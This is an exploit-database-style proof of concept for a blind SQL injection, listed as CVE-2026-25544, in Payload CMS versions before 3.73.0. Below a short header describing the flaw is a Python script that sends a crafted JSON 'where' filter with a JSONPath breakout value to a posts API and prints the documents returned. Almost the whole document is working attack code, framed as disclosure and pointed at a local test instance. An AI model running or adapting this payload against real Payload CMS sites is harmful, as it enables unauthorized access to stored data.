# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection # Google Dork: N/A # Date: 2026-08-01 # Exploit Author: cardosource # Vendor Homepage: https://payloadcms.com/ # Software Link: https://github.com/payloadcms/payload # Version: < 3.73.0 # Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15 # CVE: CVE-2026-25544 # # Description: # Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection # vulnerability when processing `where` filters on JSON or RichText # fields using the Drizzle database adapters. # # This PoC demonstrates SQL injection through attacker-controlled JSON # filter input affecting generated JSONPath expressions. # import requests import json from typing import Dict, Any, Optional def fetch_posts() -> requests.Response: url: str = "http://localhost:3000/api/posts" filter_criteria: Dict[str, Dict[str, str]] = { "metadata.role": { "equals": 'x" || @ == @ || @ == "' } } params: Dict[str, Any] = { "where": json.dumps(filter_criteria), "limit": 100, "depth": 0, } return requests.get(url, params=params, timeout=15) def display_status(response: requests.Response) -> None: print("status:", response.status_code) print("content-type:", response.headers.get("content-type")) print() def display_content(response: requests.Response) -> None: try: data: Dict[str, Any] = response.json() print("totalDocs:", data.get("totalDocs")) print("docs:", len(data.get("docs", []))) print() print(json.dumps(data, indent=2, ensure_ascii=False)[:4000]) except Exception as error: print("not JSON:", error) print(response.text[:1000]) def main() -> None: response: requests.Response = fetch_posts() display_status(response) display_content(response) if __name__ == "__main__": main()